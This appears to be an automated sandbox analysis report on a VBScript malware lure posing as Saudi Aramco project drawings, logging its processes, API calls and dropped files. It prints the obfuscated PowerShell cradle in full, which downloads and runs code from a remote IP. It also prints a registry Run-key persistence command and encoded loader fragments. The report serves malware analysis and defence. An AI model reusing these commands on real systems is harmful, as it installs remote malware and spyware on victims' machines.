            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040661317_2_00406613
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040262017_2_00402620
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_00402EFC17_2_00402EFC
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_00402F0017_2_00402F00
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040EFB017_2_0040EFB0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040EFB317_2_0040EFB3
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AF90017_2_011AF900
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C412017_2_011C4120
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0127E82417_2_0127E824
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126100217_2_01261002
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BB09017_2_011BB090
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012720A817_2_012720A8
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D20A017_2_011D20A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012728EC17_2_012728EC
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01272B2817_2_01272B28
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DEBB017_2_011DEBB0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126DBD217_2_0126DBD2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012603DA17_2_012603DA
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012722AE17_2_012722AE
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01272D0717_2_01272D07
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A0D2017_2_011A0D20
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01271D5517_2_01271D55
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D258117_2_011D2581
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012725DD17_2_012725DD
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BD5E017_2_011BD5E0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B841F17_2_011B841F
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126D46617_2_0126D466
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01271FF117_2_01271FF1
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0127DFCE17_2_0127DFCE
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C6E3017_2_011C6E30
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126D61617_2_0126D616
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01272EF717_2_01272EF7
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: String function: 011AB150 appears 39 times
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004211C3 NtCreateFile,17_2_004211C3
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_00421273 NtReadFile,17_2_00421273
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004212F3 NtClose,17_2_004212F3
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004213A3 NtAllocateVirtualMemory,17_2_004213A3
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9910 NtAdjustPrivilegesToken,LdrInitializeThunk,17_2_011E9910
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9950 NtQueueApcThread,LdrInitializeThunk,17_2_011E9950
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E99A0 NtCreateSection,LdrInitializeThunk,17_2_011E99A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9840 NtDelayExecution,LdrInitializeThunk,17_2_011E9840
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011EB040 NtSuspendThread,LdrInitializeThunk,17_2_011EB040
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9860 NtQuerySystemInformation,LdrInitializeThunk,17_2_011E9860
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E98F0 NtReadVirtualMemory,LdrInitializeThunk,17_2_011E98F0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011EA3B0 NtGetContextThread,LdrInitializeThunk,17_2_011EA3B0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9A20 NtResumeThread,LdrInitializeThunk,17_2_011E9A20
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9A50 NtCreateFile,LdrInitializeThunk,17_2_011E9A50
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011EAD30 NtSetContextThread,LdrInitializeThunk,17_2_011EAD30
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9540 NtReadFile,LdrInitializeThunk,17_2_011E9540
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E95D0 NtClose,LdrInitializeThunk,17_2_011E95D0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9780 NtMapViewOfSection,LdrInitializeThunk,17_2_011E9780
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E97A0 NtUnmapViewOfSection,LdrInitializeThunk,17_2_011E97A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9FE0 NtCreateMutant,LdrInitializeThunk,17_2_011E9FE0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9660 NtAllocateVirtualMemory,LdrInitializeThunk,17_2_011E9660
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E96E0 NtFreeVirtualMemory,LdrInitializeThunk,17_2_011E96E0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E99D0 NtCreateProcessEx,17_2_011E99D0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9820 NtEnumerateKey,17_2_011E9820
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E98A0 NtWriteVirtualMemory,17_2_011E98A0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9B00 NtSetValueKey,17_2_011E9B00
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9A10 NtQuerySection,17_2_011E9A10
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9A00 NtProtectVirtualMemory,17_2_011E9A00
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9A80 NtOpenDirectoryObject,17_2_011E9A80
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9520 NtWaitForSingleObject,17_2_011E9520
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9560 NtWriteFile,17_2_011E9560
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E95F0 NtQueryInformationFile,17_2_011E95F0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9710 NtQueryInformationToken,17_2_011E9710
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011EA710 NtOpenProcessToken,17_2_011EA710
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9730 NtQueryVirtualMemory,17_2_011E9730
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9770 NtSetInformationFile,17_2_011E9770
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011EA770 NtOpenThread,17_2_011EA770
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9760 NtOpenProcess,17_2_011E9760
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9610 NtEnumerateValueKey,17_2_011E9610
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9650 NtQueryValueKey,17_2_011E9650
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E9670 NtQueryInformationProcess,17_2_011E9670
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E96D0 NtCreateKey,17_2_011E96D0
            Source: PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbsInitial sample: Strings found which are bigger than 50
            Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pif"
            Source: ServiceHub.exe.8.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: ServiceHub.pif.13.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbs"
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c "powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}}
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}}
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec Bypass -c $c1='iex (New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://212.192.219.52/Untitled2.bmp'')';I`E`X ($c1,$c4,$c3 -Join '')
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\ServiceHub.exe "C:\Users\user\AppData\Roaming\ServiceHub.exe"
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pif
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pif"
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess created: C:\Users\user\AppData\Roaming\ServiceHub.exe C:\Users\user\AppData\Roaming\ServiceHub.exe
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess created: C:\Users\user\Documents\ServiceHub.pif "C:\Users\user\Documents\ServiceHub.pif"
            Source: C:\Users\user\Documents\ServiceHub.pifProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe
            Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Users\user\Documents\ServiceHub.pif "C:\Users\user\Documents\ServiceHub.pif"
            Source: C:\Users\user\Documents\ServiceHub.pifProcess created: C:\Users\user\Documents\ServiceHub.pif C:\Users\user\Documents\ServiceHub.pif
            Source: C:\Users\user\Documents\ServiceHub.pifProcess created: C:\Users\user\Documents\ServiceHub.pif C:\Users\user\Documents\ServiceHub.pif
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c "powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\ServiceHub.exe "C:\Users\user\AppData\Roaming\ServiceHub.exe" Jump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pifJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess created: C:\Users\user\AppData\Roaming\ServiceHub.exe C:\Users\user\AppData\Roaming\ServiceHub.exeJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pif"Jump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exeJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess created: C:\Users\user\Documents\ServiceHub.pif C:\Users\user\Documents\ServiceHub.pifJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess created: C:\Users\user\Documents\ServiceHub.pif C:\Users\user\Documents\ServiceHub.pif
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfsbtsqd.lto.ps1Jump to behavior
            Source: classification engineClassification label: mal100.troj.spyw.evad.winVBS@25/11@9/6
            Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4684:120:WilError_01
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6644:120:WilError_01
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5456:120:WilError_01
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbs"
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: [io.COMPRESSIoN.cOmpRESSIONMode]::deCOmPrESs )lOd6N% {nEw-obJEcT SYSTEm.iO.STrEAmREADER(M7ywW3_, [SySTem.tExt.EncOdiNg]::AsciI ) } ).reaDToEND( )lOd6N&( M7ywW3sHelLid[1]+M7ywW3ShELliD[13]+s8lXn1xs8lXn1)','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
            Source: C:\Users\user\Documents\ServiceHub.pifFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hosts
            Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hosts
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: Binary string: wntdll.pdb source: ServiceHub.exe

            Data Obfuscation

            barindex
            VBScript performs obfuscated calls to suspicious functions
            Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: Wscript.Shell").Run "cmd /c ""powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} """,0,falseIWshShell3.Run("cmd /c "powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process", "0", "false")
            Suspicious powershell command line found
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}}
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} Jump to behavior
            Found suspicious powershell code related to unpacking or dynamic code loading
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FROmbASE64stRing(s8lXn1rZbvb6JIGMffm/g/EEOyejcS+SFqm31BpRRtsUa0e73u5jLCU2EXGDOMdsnd/e/3gG1y1d6aPfuCCDN8P99nvvMD6zWzpyiDzl+PjAMNojZbfoVA/CnJIY+3IH2UHoKI8i/yH+dWGLa99ZTDI3DIApDal9+DZJPHLJtSEUkNubkTtc4+N
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004018A3 push ebx; retf 17_2_004018BF
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004019FA push eax; retf 17_2_00401A01
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040599B pushad ; iretd 17_2_004059A3
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040BAD3 pushfd ; retf 17_2_0040BADA
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004142B3 push edi; retf 17_2_004142B5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_00414367 push ebp; iretd 17_2_0041436F
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_00414B8A push ss; iretd 17_2_00414B8B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004063A6 pushad ; iretd 17_2_004063AC
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_00409D15 push 9546062Dh; iretd 17_2_00409D24
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004055D1 push 00000025h; ret 17_2_004055D3
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004035A0 push eax; ret 17_2_004035A2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040BEDE push ebp; ret 17_2_0040BEE0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040578A push edi; iretd 17_2_0040578B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011FD0D1 push ecx; ret 17_2_011FD0E4
            Source: ServiceHub.exe.8.drStatic PE information: 0xABAC37D9 [Fri Apr 8 12:53:45 2061 UTC]
            Source: initial sampleStatic PE information: section name: .text entropy: 7.159435944715169
            Source: initial sampleStatic PE information: section name: .text entropy: 7.159435944715169

            Persistence and Installation Behavior

            barindex
            Drops PE files with a suspicious file extension
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeFile created: C:\Users\user\Documents\ServiceHub.pifJump to dropped file
            Drops PE files to the document folder of the user
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeFile created: C:\Users\user\Documents\ServiceHub.pifJump to dropped file
